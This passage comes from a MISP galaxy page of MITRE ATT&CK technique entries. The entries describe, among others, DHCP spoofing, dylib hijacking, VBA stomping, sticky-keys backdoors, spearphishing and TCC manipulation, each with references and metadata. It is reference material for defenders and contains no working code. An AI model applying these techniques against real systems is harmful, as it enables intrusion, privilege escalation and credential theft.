| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
SMS Messages - T1636.004
Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages.
If the device has been jailbroken or rooted, an adversary may be able to access SMS Messages without the user’s knowledge or approval.
Internal MISP references
UUID c6421411-ae61-42bb-9098-73fddb315002 which can be used as unique global reference for SMS Messages - T1636.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1636.004 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
DHCP Spoofing - T1557.003
Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.
DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows:
-
The client broadcasts a
DISCOVERmessage. -
The server responds with an
OFFERmessage, which includes an available network address. -
The client broadcasts a
REQUESTmessage, which includes the network address offered. -
The server acknowledges with an
ACKmessage and the client receives the network configuration parameters.
Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.
DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.
Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.
Internal MISP references
UUID 59ff91cd-1430-4075-8563-e6f15f4f9ff5 which can be used as unique global reference for DHCP Spoofing - T1557.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1557/003 - webarchive
- https://datatracker.ietf.org/doc/html/rfc2131 - webarchive
- https://datatracker.ietf.org/doc/html/rfc3315 - webarchive
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11) - webarchive
- https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/ - webarchive
- https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/ - webarchive
- https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1557.003 |
| kill_chain | ['attack-Linux:credential-access', 'attack-Windows:credential-access', 'attack-macOS:credential-access', 'attack-Linux:collection', 'attack-Windows:collection', 'attack-macOS:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Cloud Accounts - T1585.003
Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)
Creating Cloud Accounts may also require adversaries to establish Email Accounts to register with the cloud provider.
Internal MISP references
UUID 926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5 which can be used as unique global reference for Cloud Accounts - T1585.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1585.003 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
XPC Services - T1559.003
Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)
Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.
Internal MISP references
UUID 8252f135-ed26-4ce1-ae61-f26e94429a19 which can be used as unique global reference for XPC Services - T1559.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1559/003 - webarchive
- https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1 - webarchive
- https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html - webarchive
- https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/ - webarchive
- https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1559.003 |
| kill_chain | ['attack-macOS:execution'] |
| mitre_data_sources | ['Process: Process Access'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Wordlist Scanning - T1595.003
Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites).
For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force).
As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.
Internal MISP references
UUID bed04f7d-e48a-4e76-bd0f-4c57fe31fc46 which can be used as unique global reference for Wordlist Scanning - T1595.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1595.003 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Cloud Accounts - T1586.003
Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)
A variety of methods exist for compromising cloud accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, conducting Password Spraying attacks, or attempting to Steal Application Access Tokens.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a Trusted Relationship between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)
Internal MISP references
UUID 3d52e51e-f6db-4719-813c-48002a99f43a which can be used as unique global reference for Cloud Accounts - T1586.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1586/003 - webarchive
- https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ - webarchive
- https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1586.003 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
DNS Calculation - T1568.003
Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)
One implementation of DNS Calculation is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)
Internal MISP references
UUID 83a766f8-1501-4b3a-a2de-2e2849e8dfc1 which can be used as unique global reference for DNS Calculation - T1568.003 in MISP communities and other software using the MISP galaxy
External references
- http://www.crowdstrike.com/blog/whois-numbered-panda/ - webarchive
- https://attack.mitre.org/techniques/T1568/003 - webarchive
- https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/ - webarchive
- https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1568.003 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Web Services - T1583.006
Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.
Internal MISP references
UUID 88d31120-5bc7-4ce3-a9c0-7cf147be8e54 which can be used as unique global reference for Web Services - T1583.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583.006 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Digital Certificates - T1596.003
Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.
Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).
Internal MISP references
UUID 0979abf9-4e26-43ec-9b6e-54efc4e70fca which can be used as unique global reference for Digital Certificates - T1596.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1596.003 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Digital Certificates - T1587.003
Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).
Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if added to the root of trust (i.e. Install Root Certificate).
After creating a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.
Internal MISP references
UUID 1cec9319-743b-4840-bb65-431547bce82a which can be used as unique global reference for Digital Certificates - T1587.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1587.003 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Employee Names - T1589.003
Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.
Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).
Internal MISP references
UUID 76551c52-b111-4884-bc47-ff3e728f0156 which can be used as unique global reference for Employee Names - T1589.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1589.003 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Spearphishing Link - T1598.003
Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, hxxp://google.com@1157586937.(Citation: Mandiant URL Obfuscation 2023)
Adversaries may also embed “tracking pixels”, "web bugs", or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)
Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)
Adversaries can use phishing kits such as EvilProxy and Evilginx2 to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie.(Citation: Proofpoint Human Factor)
Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor.
From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.
Internal MISP references
UUID 2d3f5b3c-54ca-4f4d-bb1f-849346d31230 which can be used as unique global reference for Spearphishing Link - T1598.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1598/003 - webarchive
- https://csrc.nist.gov/glossary/term/web_bug - webarchive
- https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - webarchive
- https://en.ryte.com/wiki/Tracking_Pixel - webarchive
- https://iapp.org/resources/article/web-beacon/ - webarchive
- https://mrd0x.com/browser-in-the-browser-phishing-attack/ - webarchive
- https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm - webarchive
- https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - webarchive
- https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse - webarchive
- https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages - webarchive
- https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf - webarchive
- https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing - webarchive
- https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html - webarchive
- https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1598.003 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Dylib Hijacking - T1574.004
Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.
Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
Internal MISP references
UUID fc742192-19e3-466c-9eb5-964a97b29490 which can be used as unique global reference for Dylib Hijacking - T1574.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1574/004 - webarchive
- https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html - webarchive
- https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py - webarchive
- https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py - webarchive
- https://malwareunicorn.org/workshops/macos_dylib_injection.html#5 - webarchive
- https://objective-see.com/blog/blog_0x46.html - webarchive
- https://taomm.org/vol1/pdfs.html - webarchive
- https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf - webarchive
- https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.004 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Module: Module Load'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
LC_LOAD_DYLIB Addition - T1546.006
Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)
Internal MISP references
UUID 10ff21b9-5a01-4268-a1b5-3b55015f1847 which can be used as unique global reference for LC_LOAD_DYLIB Addition - T1546.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.006 |
| kill_chain | ['attack-macOS:privilege-escalation', 'attack-macOS:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Spearphishing Voice - T1566.004
Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.
All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools (Remote Access Software) onto their computer.(Citation: Unit42 Luna Moth)
Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)
Internal MISP references
UUID bb5e59c4-abe7-40c7-8196-e373cb1e5974 which can be used as unique global reference for Spearphishing Voice - T1566.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1566/004 - webarchive
- https://blog.sygnia.co/luna-moth-false-subscription-scams - webarchive
- https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/ - webarchive
- https://www.cisa.gov/uscert/ncas/alerts/aa23-025a - webarchive
- https://www.proofpoint.com/us/threat-reference/vishing - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1566.004 |
| kill_chain | ['attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access', 'attack-Office-365:initial-access', 'attack-SaaS:initial-access', 'attack-Google-Workspace:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
VBA Stomping - T1564.007
Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)
MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)
An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)
Internal MISP references
UUID c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b which can be used as unique global reference for VBA Stomping - T1564.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/007 - webarchive
- https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239 - webarchive
- https://github.com/bontchev/pcodedmp - webarchive
- https://github.com/decalage2/oletools - webarchive
- https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278 - webarchive
- https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ - webarchive
- https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.007 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Windows:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Accessibility Features - T1546.008
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)
- On-Screen Keyboard:
C:\Windows\System32\osk.exe - Magnifier:
C:\Windows\System32\Magnify.exe - Narrator:
C:\Windows\System32\Narrator.exe - Display Switcher:
C:\Windows\System32\DisplaySwitch.exe - App Switcher:
C:\Windows\System32\AtBroker.exe
Internal MISP references
UUID 70e52b04-2a0c-4cea-9d18-7149f1df9dc5 which can be used as unique global reference for Accessibility Features - T1546.008 in MISP communities and other software using the MISP galaxy
External references
- http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ - webarchive
- https://attack.mitre.org/techniques/T1546/008 - webarchive
- https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html - webarchive
- https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html - webarchive
- https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.008 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
TCC Manipulation - T1548.006
Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).
When an application requests to access data or a service protected by TCC, the TCC daemon (tccd) checks the TCC database, located at /Library/Application Support/com.apple.TCC/TCC.db (and ~/ equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)
Adversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions.
